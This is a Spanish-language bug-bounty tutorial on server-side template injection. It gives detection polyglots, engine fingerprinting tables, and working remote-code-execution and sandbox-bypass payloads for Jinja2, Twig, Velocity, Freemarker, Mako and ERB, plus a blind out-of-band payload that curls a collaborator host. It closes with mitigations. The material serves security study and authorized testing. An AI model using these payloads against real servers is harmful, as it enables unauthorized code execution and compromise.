Respuesta rápida
SSTI ocurre cuando user input acaba dentro de un template renderizado server-side. La mayoría de engines (Jinja2, Twig, Velocity, Freemarker, Mako, ERB) permiten llamadas a métodos del lenguaje host → escalación rápida a RCE. Detección con polyglot ${{<%[%'"}}%\ que rompe casi cualquier engine. Identificación con {{7*7}} y variantes. Bounties típicos: €2.000-€10.000 (RCE).
Vectores típicos
Apps que generan emails/PDFs/respuestas dinámicas a partir de templates suelen ser candidatas:
- Email customization: "Bienvenido {{user.name}}" donde
user.nameviene del cliente. - Notification settings: subject template con placeholders.
- Error messages: con variables interpoladas (algunos frameworks).
- Reporting builders: define un template, sale un PDF.
- Legal/contract documents generados con datos del usuario.
- CMS donde el editor mete plantillas con variables.
Detección
Polyglot universal
${{<%[%'"}}%\
Este string rompe la sintaxis de casi todos los template engines. Si el response cambia (error 500, página rota) → posible SSTI.
Identificación del engine
Test inicial: {{7*7}}.
| Output | Engine probable |
|---|---|
49 | Jinja2, Twig |
7777777 | Twig (con string concat) |
{{7*7}} (literal) | No SSTI (el template no se interpreta) |
| Error | Possible different engine |
Test diferenciador Jinja2 vs Twig:
{{7*'7'}}
| Output | Engine |
|---|---|
7777777 | Jinja2 |
49 (numeric) | Twig |
Para Java engines (Velocity, Freemarker):
${7*7}
Si retorna 49 → Velocity, Freemarker, o similar.
Para ERB (Ruby): <%= 7*7 %>.
Escalación a RCE
Jinja2 (Python)
Jinja2 es el más común. Escapar el sandbox via cadenas de objetos:
{{ ''.__class__.__mro__[1].__subclasses__() }}
Devuelve lista de subclases. Identificar índice de subprocess.Popen o similar.
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('id', shell=True, stdout=-1).communicate()[0] }}
Variantes según versión de Python y subclases disponibles. Más reciente:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
O bypass más moderno:
{{["id"]|filter("system")}}
Velocity (Java)
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
Freemarker (Java)
<#assign value="freemarker.template.utility.Execute"?new()>
${value("id")}
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
ERB (Ruby)
<%= `id` %>
<%= system('id') %>
<%= IO.popen('id').read %>
SSTI sandbox bypasses
Engines modernos tienen sandbox que bloquea __class__, __subclasses__, etc. Bypasses:
Jinja2 sandbox bypass
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
Si request o config están en el contexto, son source de globals.
Filtros restringidos
Si __class__ está bloqueado pero attr no:
{{ ''|attr('__class__')|attr('__mro__')[1]|attr('__subclasses__')() }}
Blind SSTI
Si no hay output visible:
Time-based
{{ '7'*999999999 }} # huge string, lag observable
{{ 'x'*99 if 7*7 == 49 else 'y' }} # condicional time
OOB
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('curl yourcollab.collab.tld/SSTI', shell=True, stdout=-1) }}
Burp Collaborator captura el hit.
Endpoints típicos donde encontrarlo
- Email customization en notification settings.
- Subject de emails broadcast.
- PDF generators con templates personalizables.
- Error pages con variables (más raro pero existente).
- Reporting con queries que producen output formateado.
- CMS con widgets/plugins editables.
- Newsletters templates editables por user con preview.
Detection blind si no se ve output
# Jinja2
{{ '{}'.format(7*7) }} # solo retorna 49 si interpola
{{ self.__init__.__globals__.__builtins__.__import__('time').sleep(5) }}
Time-based + OOB son tus dos amigos cuando es blind.
Hunting checklist
- ¿Hay endpoints donde el cliente puede escribir contenido que aparece en emails, PDFs, reportes?
- ¿Hay "preview" de templates? Vector directo.
- ¿Probar polyglot
${{<%[%'"}}%\y observar errores? - ¿
{{7*7}}retorna49? → SSTI confirmado. - ¿El engine permite acceso a globals/builtins? Prueba
__class__. - ¿Si el sandbox bloquea, probar variantes con
attr(),request.application,config? - ¿Blind: time-based + OOB con Collaborator?
Mitigación correcta
- NO renderizar templates con user input. Usar
{{ user_input }}como datos, nunca{{ template_string }}. - Sandboxed environment del template engine cuando user sí escribe templates (ej. Jinja2 SandboxedEnvironment).
- Whitelist estricta de variables/funciones permitidas (sin
__class__,__import__, etc). - Logical/visual templates (Liquid) que no permiten Python/Ruby code arbitrario.
- Input validation antes de pasar al template.
Labs relacionados
Practica detección, identificación de engine y escalación SSTI a RCE en Jinja2, Twig y Velocity: labs de SSTI.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Ssti
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
SQL Injection — metodología completa con time-based, UNION y RCE
Detección por isomorphic queries, payloads time-based para 4 motores, escalación a RCE (xp_cmdshell, INTO OUTFILE, UDFs) y bypasses cross-field.
Command Injection — bypasses con espacio, encoding y backticks
Inyección de comandos en endpoints que pasan input al shell. Bypasses de filtros: ${IFS}, $@, ;|&, encoded null bytes, output redirection a archivo.
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.
